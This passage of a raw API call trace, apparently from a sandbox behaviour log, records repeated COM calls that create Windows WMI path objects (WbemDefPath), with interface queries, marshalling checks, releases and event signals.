out: ppvObject=0x539e73c*=0x0) returned 0x80004002 [0272.611] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c460, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x539e6ec | out: ppvObject=0x539e6ec*=0x0) returned 0x80004002 [0272.611] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c460, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539e6f8 | out: ppvObject=0x539e6f8*=0x8a2cf8) returned 0x0 [0272.611] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x8a2cf8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x539e700 | out: pCid=0x539e700*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0272.611] WbemDefPath:IUnknown:Release (This=0x8a2cf8) returned 0x3 [0272.611] CoGetContextToken (in: pToken=0x539e758 | out: pToken=0x539e758) returned 0x0 [0272.611] CoGetContextToken (in: pToken=0x539eb6c | out: pToken=0x539eb6c) returned 0x0 [0272.611] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c460, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ebec | out: ppvObject=0x539ebec*=0x0) returned 0x80004002 [0272.611] WbemDefPath:IUnknown:Release (This=0x84c460) returned 0x2 [0272.611] WbemDefPath:IUnknown:Release (This=0x84c460) returned 0x1 [0272.611] SetEvent (hEvent=0x394) returned 1 [0272.619] CoGetClassObject (in: rclsid=0x871f24*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x539efe8 | out: ppv=0x539efe8*=0x8a2d38) returned 0x0 [0272.619] WbemDefPath:IUnknown:QueryInterface (in: This=0x8a2d38, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x539f200 | out: ppvObject=0x539f200*=0x0) returned 0x80004002 [0272.620] WbemDefPath:IClassFactory:CreateInstance (in: This=0x8a2d38, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539f20c | out: ppvObject=0x539f20c*=0x84c4d0) returned 0x0 [0272.620] WbemDefPath:IUnknown:Release (This=0x8a2d38) returned 0x0 [0272.620] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c4d0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ee2c | out: ppvObject=0x539ee2c*=0x84c4d0) returned 0x0 [0272.620] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c4d0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x539ede0 | out: ppvObject=0x539ede0*=0x0) returned 0x80004002 [0272.620] WbemDefPath:IUnknown:AddRef (This=0x84c4d0) returned 0x3 [0272.620] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c4d0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x539e73c | out: ppvObject=0x539e73c*=0x0) returned 0x80004002 [0272.620] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c4d0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x539e6ec | out: ppvObject=0x539e6ec*=0x0) returned 0x80004002 [0272.620] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c4d0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539e6f8 | out: ppvObject=0x539e6f8*=0x8a2d48) returned 0x0 [0272.620] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x8a2d48, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x539e700 | out: pCid=0x539e700*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0272.620] WbemDefPath:IUnknown:Release (This=0x8a2d48) returned 0x3 [0272.620] CoGetContextToken (in: pToken=0x539e758 | out: pToken=0x539e758) returned 0x0 [0272.620] CoGetContextToken (in: pToken=0x539eb6c | out: pToken=0x539eb6c) returned 0x0 [0272.620] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c4d0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ebec | out: ppvObject=0x539ebec*=0x0) returned 0x80004002 [0272.620] WbemDefPath:IUnknown:Release (This=0x84c4d0) returned 0x2 [0272.620] WbemDefPath:IUnknown:Release (This=0x84c4d0) returned 0x1 [0272.620] SetEvent (hEvent=0x398) returned 1 [0272.627] CoGetClassObject (in: rclsid=0x871f24*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x539efe8 | out: ppv=0x539efe8*=0x8a2d88) returned 0x0 [0272.627] WbemDefPath:IUnknown:QueryInterface (in: This=0x8a2d88, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x539f200 | out: ppvObject=0x539f200*=0x0) returned 0x80004002 [0272.627] WbemDefPath:IClassFactory:CreateInstance (in: This=0x8a2d88, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539f20c | out: ppvObject=0x539f20c*=0x8bbb28) returned 0x0 [0272.627] WbemDefPath:IUnknown:Release (This=0x8a2d88) returned 0x0 [0272.627] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbb28, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ee2c | out: ppvObject=0x539ee2c*=0x8bbb28) returned 0x0 [0272.627] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbb28, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x539ede0 | out: ppvObject=0x539ede0*=0x0) returned 0x80004002 [0272.627] WbemDefPath:IUnknown:AddRef (This=0x8bbb28) returned 0x3 [0272.627] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbb28, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x539e73c | out: ppvObject=0x539e73c*=0x0) returned 0x80004002 [0272.627] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbb28, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x539e6ec | out: ppvObject=0x539e6ec*=0x0) returned 0x80004002 [0272.628] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbb28, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539e6f8 | out: ppvObject=0x539e6f8*=0x8a2d98) returned 0x0 [0272.628] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x8a2d98, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x539e700 | out: pCid=0x539e700*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0272.628] WbemDefPath:IUnknown:Release (This=0x8a2d98) returned 0x3 [0272.628] CoGetContextToken (in: pToken=0x539e758 | out: pToken=0x539e758) returned 0x0 [0272.628] CoGetContextToken (in: pToken=0x539eb6c | out: pToken=0x539eb6c) returned 0x0 [0272.628] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbb28, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ebec | out: ppvObject=0x539ebec*=0x0) returned 0x80004002 [0272.628] WbemDefPath:IUnknown:Release (This=0x8bbb28) returned 0x2 [0272.628] WbemDefPath:IUnknown:Release (This=0x8bbb28) returned 0x1 [0272.628] SetEvent (hEvent=0x39c) returned 1 [0272.640] CoGetClassObject (in: rclsid=0x871f24*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x539efe8 | out: ppv=0x539efe8*=0x8a2dd8) returned 0x0 [0272.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x8a2dd8, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x539f200 | out: ppvObject=0x539f200*=0x0) returned 0x80004002 [0272.640] WbemDefPath:IClassFactory:CreateInstance (in: This=0x8a2dd8, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539f20c | out: ppvObject=0x539f20c*=0x8bbb98) returned 0x0 [0272.640] WbemDefPath:IUnknown:Release (This=0x8a2dd8) returned 0x0 [0272.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbb98, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ee2c | out: ppvObject=0x539ee2c*=0x8bbb98) returned 0x0 [0272.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbb98, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x539ede0 | out: ppvObject=0x539ede0*=0x0) returned 0x80004002 [0272.641] WbemDefPath:IUnknown:AddRef (This=0x8bbb98) returned 0x3 [0272.641] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbb98, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x539e73c | out: ppvObject=0x539e73c*=0x0) returned 0x80004002 [0272.641] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbb98, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x539e6ec | out: ppvObject=0x539e6ec*=0x0) returned 0x80004002 [0272.641] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbb98, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539e6f8 | out: ppvObject=0x539e6f8*=0x8a2de8) returned 0x0 [0272.641] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x8a2de8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x539e700 | out: pCid=0x539e700*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0272.641] WbemDefPath:IUnknown:Release (This=0x8a2de8) returned 0x3 [0272.641] CoGetContextToken (in: pToken=0x539e758 | out: pToken=0x539e758) returned 0x0 [0272.641] CoGetContextToken (in: pToken=0x539eb6c | out: pToken=0x539eb6c) returned 0x0 [0272.641] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbb98, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ebec | out: ppvObject=0x539ebec*=0x0) returned 0x80004002 [0272.641] WbemDefPath:IUnknown:Release (This=0x8bbb98) returned 0x2 [0272.641] WbemDefPath:IUnknown:Release (This=0x8bbb98) returned 0x1 [0272.641] SetEvent (hEvent=0x3a0) returned 1 [0272.649] CoGetClassObject (in: rclsid=0x871f24*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x539efe8 | out: ppv=0x539efe8*=0x8a2e28) returned 0x0 [0272.650] WbemDefPath:IUnknown:QueryInterface (in: This=0x8a2e28, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x539f200 | out: ppvObject=0x539f200*=0x0) returned 0x80004002 [0272.650] WbemDefPath:IClassFactory:CreateInstance (in: This=0x8a2e28, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539f20c | out: ppvObject=0x539f20c*=0x8bbc08) returned 0x0 [0272.650] WbemDefPath:IUnknown:Release (This=0x8a2e28) returned 0x0 [0272.650] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbc08, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ee2c | out: ppvObject=0x539ee2c*=0x8bbc08) returned 0x0 [0272.650] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbc08, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x539ede0 | out: ppvObject=0x539ede0*=0x0) returned 0x80004002 [0272.650] WbemDefPath:IUnknown:AddRef (This=0x8bbc08) returned 0x3 [0272.650] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbc08, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x539e73c | out: ppvObject=0x539e73c*=0x0) returned 0x80004002 [0272.650] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbc08, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x539e6ec | out: ppvObject=0x539e6ec*=0x0) returned 0x80004002 [0272.650] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbc08, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539e6f8 | out: ppvObject=0x539e6f8*=0x8a2e38) returned 0x0 [0272.650] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x8a2e38, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x539e700 | out: pCid=0x539e700*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0272.650] WbemDefPath:IUnknown:Release (This=0x8a2e38) returned 0x3 [0272.650] CoGetContextToken (in: pToken=0x539e758 | out: pToken=0x539e758) returned 0x0 [0272.650] CoGetContextToken (in: pToken=0x539eb6c | out: pToken=0x539eb6c) returned 0x0 [0272.650] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbc08, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ebec | out: ppvObject=0x539ebec*=0x0) returned 0x80004002 [0272.651] WbemDefPath:IUnknown:Release (This=0x8bbc08) returned 0x2 [0272.651] WbemDefPath:IUnknown:Release (This=0x8bbc08) returned 0x1 [0272.651] SetEvent (hEvent=0x3a4) returned 1 [0272.661] CoGetClassObject (in: rclsid=0x871f24*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x539efe8 | out: ppv=0x539efe8*=0x8a2e78) returned 0x0 [0272.662] WbemDefPath:IUnknown:QueryInterface (in: This=0x8a2e78, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x539f200 | out: ppvObject=0x539f200*=0x0) returned 0x80004002 [0272.662] WbemDefPath:IClassFactory:CreateInstance (in: This=0x8a2e78, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539f20c | out: ppvObject=0x539f20c*=0x8bbc78) returned 0x0 [0272.662] WbemDefPath:IUnknown:Release (This=0x8a2e78) returned 0x0 [0272.662] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbc78, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ee2c | out: ppvObject=0x539ee2c*=0x8bbc78) returned 0x0 [0272.662] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbc78, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x539ede0 | out: ppvObject=0x539ede0*=0x0) returned 0x80004002 [0272.662] WbemDefPath:IUnknown:AddRef (This=0x8bbc78) returned 0x3 [0272.662] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbc78, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x539e73c | out: ppvObject=0x539e73c*=0x0) returned 0x80004002 [0272.662] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbc78, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x539e6ec | out: ppvObject=0x539e6ec*=0x0) returned 0x80004002 [0272.662] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbc78, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539e6f8 | out: ppvObject=0x539e6f8*=0x8a2e88) returned 0x0 [0272.662] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x8a2e88, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x539e700 | out: pCid=0x539e700*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0272.662] WbemDefPath:IUnknown:Release (This=0x8a2e88) returned 0x3 [0272.662] CoGetContextToken (in: pToken=0x539e758 | out: pToken=0x539e758) returned 0x0 [0272.663] CoGetContextToken (in: pToken=0x539eb6c | out: pToken=0x539eb6c) returned 0x0 [0272.663] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbc78, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ebec | out: ppvObject=0x539ebec*=0x0) returned 0x80004002 [0272.663] WbemDefPath:IUnknown:Release (This=0x8bbc78) returned 0x2 [0272.663] WbemDefPath:IUnknown:Release (This=0x8bbc78) returned 0x1 [0272.663] SetEvent (hEvent=0x3a8) returned 1 [0272.672] CoGetClassObject (in: rclsid=0x871f24*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x539efe8 | out: ppv=0x539efe8*=0x8a2ec8) returned 0x0 [0272.673] WbemDefPath:IUnknown:QueryInterface (in: This=0x8a2ec8, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x539f200 | out: ppvObject=0x539f200*=0x0) returned 0x80004002 [0272.673] WbemDefPath:IClassFactory:CreateInstance (in: This=0x8a2ec8, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539f20c | out: ppvObject=0x539f20c*=0x8bbce8) returned 0x0 [0272.673] WbemDefPath:IUnknown:Release (This=0x8a2ec8) returned 0x0 [0272.673] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbce8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ee2c | out: ppvObject=0x539ee2c*=0x8bbce8) returned 0x0 [0272.673] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbce8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x539ede0 | out: ppvObject=0x539ede0*=0x0) returned 0x80004002 [0272.673] WbemDefPath:IUnknown:AddRef (This=0x8bbce8) returned 0x3 [0272.673] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbce8, riid=0x713c182c*(Data1=0xecc8691b, 